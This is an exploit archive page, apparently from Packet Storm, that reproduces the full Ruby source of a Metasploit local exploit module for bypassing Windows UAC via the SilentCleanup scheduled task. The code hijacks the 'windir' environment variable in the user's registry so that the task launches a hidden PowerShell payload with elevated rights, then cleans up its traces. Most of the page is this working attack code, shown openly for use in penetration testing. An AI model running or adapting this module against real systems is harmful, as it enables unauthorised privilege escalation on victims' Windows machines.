what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Windows Escalate UAC Protection Bypass Via SilentCleanup

Windows Escalate UAC Protection Bypass Via SilentCleanup
Posted Jun 28, 2019
Authored by enigma0x3, Carter Brainerd, nyshone69, tyranid | Site metasploit.com

There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges. When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables, %windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.

tags | exploit
systems | windows
SHA-256 | 58e8c9a2922eb9b32f5e84d467e3b7a8e02cbd89977b2287f299fcfa861a0d71

Windows Escalate UAC Protection Bypass Via SilentCleanup

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::Powershell
include Msf::Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',
'Description' => %q{
There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.
When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,
%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.
},
'License' => MSF_LICENSE,
'Author' => [
'tyranid', # Discovery
'enigma0x3', # Discovery
'nyshone69', # Discovery
'Carter Brainerd (cbrnrd)' # Metasploit Module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter', 'shell'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Microsoft Windows', {}]],
'DisclosureDate' => 'Feb 24 2019',
'References' => [
['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],
['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],
['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],
['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']
]
))

register_options(
[
OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),
OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])
])
end

def get_bypass_script(cmd)
scr = %Q{
if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
#{cmd}
} else {
$registryPath = "HKCU:\\Environment"
$Name = "windir"
$Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"
Set-ItemProperty -Path $registryPath -Name $name -Value $Value
#Depending on the performance of the machine, some sleep time may be required before or after schtasks
Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}
schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null
Remove-ItemProperty -Path $registryPath -Name $name
}
}
vprint_status(scr)
scr
end

def exploit
check_permissions

e_vars = get_envs('TEMP')
payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"

# Write it to disk, run, delete
upload_payload_ps1(payload_fp)
vprint_good("Payload uploaded to #{payload_fp}")

cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")
end

def check_permissions
# Check if you are an admin
case is_in_admin_group?
when nil
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
when true
print_good('Part of Administrators group! Continuing...')
when false
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end

def upload_payload_ps1(filepath)
pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
begin
vprint_status('Uploading payload PS1...')
write_file(filepath, get_bypass_script(pld))
register_file_for_cleanup(filepath)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close